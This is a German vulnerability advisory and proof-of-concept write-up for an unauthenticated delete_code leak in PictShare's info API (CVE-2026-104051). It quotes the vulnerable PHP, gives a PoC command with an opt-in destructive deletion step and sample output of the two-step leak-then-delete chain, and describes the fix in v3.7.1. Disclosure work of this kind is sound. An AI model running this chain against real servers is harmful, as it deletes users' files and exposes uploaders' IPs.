Offenlegung sensibler Informationen über die Info-API in PictShare < 3.7.1 (CWE-522). PoC + Advisory-Writeup.
info-API in PictShareAutorisierte Sicherheitsforschung. PoC nur für defensive und edukative Zwecke.
Der Endpunkt /api/info/<hash> von PictShare
gibt das vollständige rohe Metadaten-Objekt für jede hochgeladene Datei zurück — einschließlich des geheimen
delete_code, der die Löschung autorisiert, sowie der IP des Uploaders, des User-Agents, des Remote-Ports und
des SHA-1. Ein nicht authentifizierter Angreifer, der den (öffentlich sichtbaren) Hash einer Datei kennt, kann deren
delete_code auslesen und anschließend beliebige gehostete Dateien dauerhaft löschen.
| CVE | CVE-2026-104051 |
| Produkt | PictShare (selbst gehosteter Bild-/Medienhost) |
| Betroffen | >= 2.0.0, < 3.7.1 |
| Behoben in | v3.7.1 |
| Schwachstelle | Unzureichend geschützte Anmeldedaten (CWE-522) → beliebige Dateilöschung + Verlust der Privatsphäre |
| Berechtigungen | Keine (nicht authentifiziert) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| Entdeckt von | Alisher Qarshibayev |
| Advisory | VulnCheck |
API::info() sucht den Hash und gibt getMetadataOfHash() unverändert zurück — ohne Feld-
Whitelist:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
Und checkPermissions() — das einzige Gate vor der info-Route — prüft die Schreibbarkeit des
Dateisystems, nicht die Identität, sodass info nicht authentifiziert erreichbar ist:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
Die zurückgegebenen Metadaten enthalten delete_code, den die Lösch-API als einziges
Autorisierungsgeheimnis akzeptiert:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
Datei-Hashes sind öffentlich (sie erscheinen in jeder geteilten Bild-URL), sodass die gesamte Kette —
den Code über info ausleaken, dann über delete löschen — nichts außer der URL benötigt, die ein Benutzer
bereits geteilt hat.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
Erwartetes Ergebnis:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
Siehe poc.py. Die Löschung ist opt-in (--delete), sodass der Standardlauf
nur lesend und nicht destruktiv ist.
Aktualisieren Sie auf PictShare 3.7.1 (Fix-Commit ce5fc47).
info() gibt nun eine strikte Whitelist zurück (mime, size, hash, sha1, uploaded) und
leakt nicht länger delete_code, ip, useragent oder remote_port. Allgemeine Empfehlung: API-
Antworten müssen Felder explizit whitelisten; serialisieren Sie niemals einen internen Datensatz, der
Geheimnisse mit öffentlichen Daten vermischt.
Verwandt: CVE-2026-104356 — selbst ohne dieses Leak war der
delete_codevorhersehbar, da er mitrand()generiert wurde.
| Datum | Ereignis |
|---|---|
| 2026-10-01 | Öffentliche Offenlegung, CVE reserviert & veröffentlicht (VulnCheck), behoben in v3.7.1 |
Verantwortungsvoll an den Hersteller gemeldet und über VulnCheck koordiniert. Behoben, bevor dieser PoC veröffentlicht wurde. Veröffentlicht für defensive und edukative Zwecke.